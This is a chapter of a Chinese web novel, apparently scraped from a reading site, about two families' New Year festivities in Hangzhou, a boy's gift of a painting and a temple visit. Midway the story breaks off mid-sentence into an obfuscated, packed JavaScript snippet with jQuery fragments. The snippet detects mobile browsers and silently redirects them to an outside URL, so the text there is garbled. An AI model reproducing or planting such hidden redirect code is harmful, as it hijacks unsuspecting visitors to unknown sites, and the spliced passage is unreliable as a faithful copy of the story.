默认冷灰
24号文字
方正启体

13. 贺新年

作者:是惟本书字数:K更新时间:
    岁除前一日,布政司衙署和杭州府署都放了假。


    程棹和程齐一扶一踩木梯,在院子里贴春联和桃符。净慈捏着挂千剪纸到处跑,口中呜呼呜呼,被王允君揪着耳朵拽回来:“好好做事!”


    “痛。”净慈一缩,立刻保证,“我这就贴好。”


    她贴完回来,抱住母亲问:“小阿兄家怎么过年?”


    “你怎么过,他家就怎么过。”王允君斜她一眼道,“岁除!不许主动去找人家,太不像话。”


    “好吧。”净慈转了一圈,喜气洋洋道,“新衣裳,伯母送我的新衣裳。”


    倒不是王允君不肯做新衣裳,是就算做了,她也宁愿穿这套。净慈对紫色喜爱非常,但它一小块抵普通颜色五大块。


    程棹是个小官,家里没有那么阔绰,阿兄读书也要一直花钱。她闹归闹,还是很懂事,紫色,一年得到一套就很幸福了。


    “赵夫人待你真没话说。”王允君看着襦裙裙摆扫过庭院,由衷感叹,“这一全套怕是十两不止,最好的苏绣。”


    净慈低头去看:“我也会善待夫人的。”


    “她倒还好,不大受气。”王允君偷偷告诉女儿,“杭州府想巴结她的人许多,是她看不上呢。这位夫人心里面,只爱她的夫君和儿子。”


    赵淳熙看不上外人有什么奇怪吗?自己是次辅的女儿,饱读诗书容貌昳丽,家中一个英俊魁梧夫君,一个清俊修长小郎君,保不齐还一门两个进士。她心底应当看不起所有人。


    但是喜欢她。净慈叽叽咕咕笑开,背过手去找程齐道:“哥哥,后日我要去灵隐寺拜菩萨。你去不去?”


    程齐哼一声,探身糊面糊:“用不着菩萨保佑!我自己二月下凡,就是糯米巷新的文曲星。”


    “浑说什么?”王允君瞪他,“你说出这种话,来年县试再过不去,去学杀猪也不要再踏进学堂一步。”


    他就抬手打自己的嘴。


    黄昏时分,一家人在院落烧纸祭拜灶神,祈求来年丰收康健。净慈照例说完父母双亲、祖父母、外祖父母和哥哥,说完自己和清圆,方在心底小声道:保佑小阿兄科试顺利。


    明日才能出门,岁除其实无聊得很,用过晚饭,众人围着烧松盆有一搭没一搭说话,也不能做什么。


    净慈不多会就犯困,靠着王允君打哈欠。


    门扉被敲响。


    清圆开门,赵淳熙大大方方进来:“打叶子牌!”


    她发觉在外地也有好处,不必清早起来孝敬婆母,也不必再和互相心里都恨不得对方早逝的大伯哥虚与委蛇。蔺述被贬,全京城都找不出一个比蔺达更高兴的人。


    我四十岁不能中举,你却平步青云,不恨你恨谁?


    只说她的夫君和儿子,她就是一觉睡到下午,他们都觉得她这么做很寻常。一涉及到家眷,那她也要脸。


    三个人冷冷清清在杭州,什么都不能做,就是什么都能做。来旁人家里打叶子牌,邻里都不知情。


    程齐眼睛一亮,察觉母亲瞪过来,又畏畏缩缩低下头:“伯母同娘亲打吧,我要看书。”


    王允君受不了他:“你作不作呕?”


    “你母亲这个人,没听过士别三日当刮目相待。”赵淳熙挪好桌椅,“好了,去看书吧。伯母祝你二月旗开得胜。”


    程棹斜儿子一眼:“县试也是叫他弄出配享太庙的架势!我这孩儿,从小街巷斗殴,也像封狼居胥。”


    净慈就举手问:“狼居胥和日本国哪个难打?”


    一屋子人哈哈大笑。


    她拽着程齐到院子里放喜炮。哥哥蹲下身陪她,看了一会,促狭问:“这种事怎么不叫你小阿兄陪你了?”


    蔺惟之在廊下安静站着。


    净慈奇道:“喜炮炸到他的脸怎么办?”


    清圆偷笑,程齐差点背过气去。


    孺子不可教也!朽木不可雕也!


    除了扯妹妹的小辫以表不满,他也不能做什么了,还得乖乖接住她扯下来的碎纸。她扯一个塞给他一个,起火点开,跑远几步,捂住耳朵,然后欢呼。


    程齐望着她,眉眼生出温柔。


    “惟之。”赵淳熙扬声叫道,“你实在不想放炮,去拿笔墨来,给妹妹作画。”他讨厌吵闹或气味重的一切物什,喜炮两个都占。


    他点一点头,转身。


    王允君就“哦哟”一声:“惟之画画也好?”


    “你看过就知道了。”赵淳熙唇角一抬,“自幼师从沈南照,离京时人家特地找我哭,说大人斗气怎么还波及到他,把他的好学生拱手送来浙派。尤其是画墨竹,连我父亲都装裱挂在书房。”


    程棹摇一摇头:“无所不精呐。”


    他看过书法,所以由衷感慨。莫说考试要用的台阁,和人人都练的行草,蔺述拿着一卷一米长的余定州飞白歌赴过宴,引得众人围观,啧啧称奇。


    “我还没说笙箫呢,是怕他思乡,不然叫他吹劳燕分飞各西东给你们听。我儿吹笛,京师儿郎无人能出其右。”赵淳熙眉飞色舞,“当然读书像他父亲,音律就是像我了,我少时抚琴,那是……”


    蔺述无奈看她一眼:“你谦逊些好不好?”


    “老天。”王允君开玩笑,“你家惟之今后议亲,我允许京师小娘子打起来,谁得头名,谁把他抱回家。”


    才子啊才子,不知今后配的何方佳人?总之,不会配聒噪的小小人儿,一个做不起紫色襦裙的、江南七品小官的女儿。


    也就她儿子天真,还说要建功立业,帮妹妹增加议亲筹码。他不知道,天堑就是天堑。


    “他?用不着。”赵淳熙哼一声,“我儿什么都好,就是不听话,倔心眼不吭声,到时自己看上谁就是谁。我和他爹说话都不管用,遑论媒妁?你们且看吧,纵使相隔千山万水,人人都不看好,他还是翻山越岭也要娶。”


    蔺述噙着笑提醒:“当心一语成谶。”


    这可不是什么好话。身份差距太大,例如来个农户女娘,他夫妻二人自问品格端正,还是无法同意。他只想到门户,倒忘了有时,千山万水真的只是山水迢迢。


    赵淳熙就拍一拍嘴,一挥手道:“出牌出牌。”


    净慈玩累了,任由程齐擦着汗。他忍不住数落她:“正月里天气冷,发了汗,受凉怎么办?”


    “受凉就躺着!”


    “拜年不去了?”程齐又擦到左脸,“今年压岁铜钱省着用,不要又像去年那样,还没出元宵,连买灯的钱都没有。”


    “今年叫小阿兄给我买!”净慈几步跑到蔺惟之身边,理直气壮问他,“画好了吗?我漂不漂亮?可以把我画得最高最漂亮吗?”


    王允君听见,发觉自己既受不了儿子,也受不了女儿,喝道:“程净慈——不要讨嫌!”


    蔺惟之仿佛极轻地笑了一声,笔触微微一停,让她先看。


    “画错了。”净慈不满指出,“我比清圆高一些些啊!”


    “她在前面。”


    清圆立刻踮脚:“哪有?”


    结果净慈更用力踮:“就有!”


    程齐直接一只手提一个,一起丢出门外:“去外面比!”


    净慈使劲拍门:“开门开门——”


    “那孩子很不容易。”赵淳熙看夫君一眼,开口解释,“前年过年,他们一家人去城郊进香,一时不察,漪漪被野犬追咬。是那孩儿扑上去,拼命撕踹开那狗。”


    她察觉蔺述有些疑惑了,不解那小娘子怎么被养得这么好。官宦人家给家中幺女买一个小女侍不奇怪,但清圆竟然和净慈同食,也叫程齐阿兄。


    “原来如此。”蔺述了然,“很勇敢的性情。”


    “是啊。”王允君看一眼院落,那两人又去放喜炮了,就压低声音,“其实不是孤儿,我都知道她家在哪条巷。无奈父母不想要,一两岁就卖给人牙子养。我只好跟她说,她父母是被山匪劫了,死了。比说被遗弃还好一些。”


    “哎。”赵淳熙宽慰道,“女孩儿好好长大就很难得。杭州尚且如此,穷乡僻壤人家,只会更不容易。能好生救护一个,也是胜造七级浮屠。”


    穷人家是没有法子的,只会头一个牺牲女儿。


    蔺惟之原本低着头继续画,闻言回头看一眼母亲,将话语吞下去。


    他一直不擅长表达,更没有分享心情的习惯,年岁太小,说了别人不当回事。在顺天的遭遇也告诉他,少说少错,他大抵会永远如此。


    心底却轻微质疑地想,人活一世,当真有比这些更珍贵的感受吗?他看见正直的为人,力所能及的善意,与点着灯的影影绰绰冬日。


    归家时,净慈蹦蹦跳跳送他们出门。才从赵淳熙那里接过两串铜钱,蔺惟之微微弯腰,趁他们没有注意,将一卷纸轻推进她袖间。


    她睁大眼睛,他已经比起食指,眸中有微微的笑意。她立刻捂住嘴巴,眼珠滴溜转了一下。


    回到房间,才点起灯,期待铺开。


    这一张只有她。


    也不是今日,是淌着河灯的中秋节夜。小娘子扎起两只小辫,靠在西湖畔放灯。


    她托腮笑了一会,清圆问:“这是何意?”


    “是感谢。”净慈答,“小阿兄起初不喜欢杭州,是感谢我家——尤其是我这糯米巷一枝花,让日子也没那么难捱。”


    送给她父母那一幅院景图,也是很用心细致的。王允君和程棹知道,他不可能给长辈送钱,是委婉致谢他们的照顾。


    “原来如此。”清圆摇一摇她,“小郎君这个人很是完美,要是愿意多说几句话就更好了。除了那回呛钱夫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468284|201341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,他说话从不超过三句。”


    “可是小阿兄话多就不像小阿兄了!”净慈笑嘻嘻,“小阿兄像高山上的雪,只有遇到艳阳天才会化。”


    “你该不会想说你是艳阳天吧?”


    她就转了个圈:“我是骄阳天!”


    去灵隐寺上香时,王允君约了苏家夫人一道。


    看琼妙那战战兢兢一丝不苟模样,净慈和韫妙立刻知道,阿姊又在求姻缘。


    “没救。”出来寺庙庭院,韫妙同她咬耳朵嘀咕,“我阿姊过年时说,还是想要读书人。讲实话,我都有些怕了,她还是不死心。不过母亲答应,今年乡试一定帮她留意新中举的士子,大不了再加嫁妆。”


    “你阿姊只是想要前途似锦的夫君。”净慈眯着眼,“没错。夫君的前程,的确与她息息相关啊。”


    琼妙阿姊可挑得很,她虽然想要举人,年岁超过二十五,或者和她一样高,她又很不乐意。苏家夫人也是拿她没办法,这种不翻嫁妆,上哪里去找?


    “父亲一直骂我阿姊心比天高。”韫妙叹气,“说她这样挑剔,不如去梦里,直接找一个翰林院的夫君。”


    “翰林院?梦都不敢梦。”净慈踢开石头,“左参政家阿姊,真要和那个臭举人成婚吗?”


    “是啊,婚期都找人占卜了。”韫妙磨一磨牙,“所以我阿姊更气不过,发誓一定也要找到举人。她这人太要强,我看以后迟早要栽跟头。顺天是那么容易去的地方吗?”


    净慈闷声:“不容易去,倒是挺容易被逐出。”


    不想过了几日,各家后院庆贺完毕,她竟然收到左参政家那钱夫人送来的新年礼,一只蝴蝶“闹嚷嚷”,戴在头上栩栩如生;一只九连环,还有一对嫩叶状的小耳饰。


    这提醒了王允君,净慈该打耳洞了。一来十岁前得打好,二来越小打,痛楚就越少。


    净慈很怕疼,坚决不同意,打算再拖两年。她溜出院落,当头看见徐靖渊在街外探头探脑,疑惑问他:“你是来我家吗?”


    人家有头有脸,住在衙署外高官云集的四条巷,来这里可是屈尊降贵。


    他跑上来,扶一扶虎头帽,清一清嗓:“我阿姊叫我来,再道一次歉。”


    新年一向是缝合人际的好机会,结下梁子但又不至于闹翻脸的事,在新的一年,过去就过去了。


    果然净慈说:“好吧。夏天的事,我早就忘了。”


    她问:“你哪个阿姊?”


    “二姐姐。”


    就是要嫁给那举人的娘子。净慈一怔,这心真的很细,做事非常周全,或许是比琼妙阿姊更适合吧。


    母亲也说,和野心勃勃的男子成婚,就是要滴水不漏的女子才能不那么吃亏。琼妙心高,但容易冲动,未必能讨到好。


    她摆摆手:“没事了,新年好。代我也问你母亲好。”


    “新年好。”徐靖渊松一口气,递给她饴糖,“喏,给你……”


    一道声音响起:“净慈。”


    净慈回过头,看见蔺惟之,立刻丢下靖渊,欢快跑过去:“小阿兄!你今日去哪里了?”


    “灵隐寺。”他答,淡淡看一眼徐靖渊,又收回目光,“过几日科试。”


    “我也替你求菩萨保佑了!”净慈仰头,“小阿兄,你别紧张。我已经说了,菩萨如果保佑你,我每个月都去灵隐寺进香。”所以连压岁铜钱都没有花掉!


    他笑一笑,伸出手臂,揉了揉她的脑袋,一边听她啰嗦,一边揽送她归家。


    他也给她饴糖,她就稳稳地接住,仔细收进袖间。像那副小画一样,都是她的珍宝。


    清圆回头,对徐靖渊道:“你回去吧,我家小姐早就不生气了。”他家送过好几次吃食补品,王允君气了一个月,也不追究。


    徐靖渊看一眼院落,忽然问她:“你家小姐和这人是娃娃亲吗?他从来不理人,只对她这么好。”


    “不理人?”清圆纳罕,“小郎君怎么不理人了?他连我都理,我和他又不熟悉。”


    靖渊一愣,错愕道:“可是我堂哥说,他在府学找他说话,他每次都回两个字,明摆着不给脸。”


    他们知道蔺惟之这人不好拿父亲的官职看,人家是一时被贬,保不齐今后如何,还有个外祖是内阁大学士,不能得罪。


    “那我就不知了。”清圆摸一摸脑袋,“难道是因为你差点害我家小姐出事,他索性就不理杭州姓徐的人了?”


    院落里,蔺惟之别开脸,抬手护一下人中,轻打了个喷嚏。


    净慈紧张说你可不能在这时着凉呀,他摇一摇头,只道不会。她皱眉半晌,还是不放心,下了圈椅,仰脸捂住他的手:暖一暖啊!万一着凉过不去科试,他们会说你是找借口的懦夫。


    他低头看她,肩头又是微微一抖。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)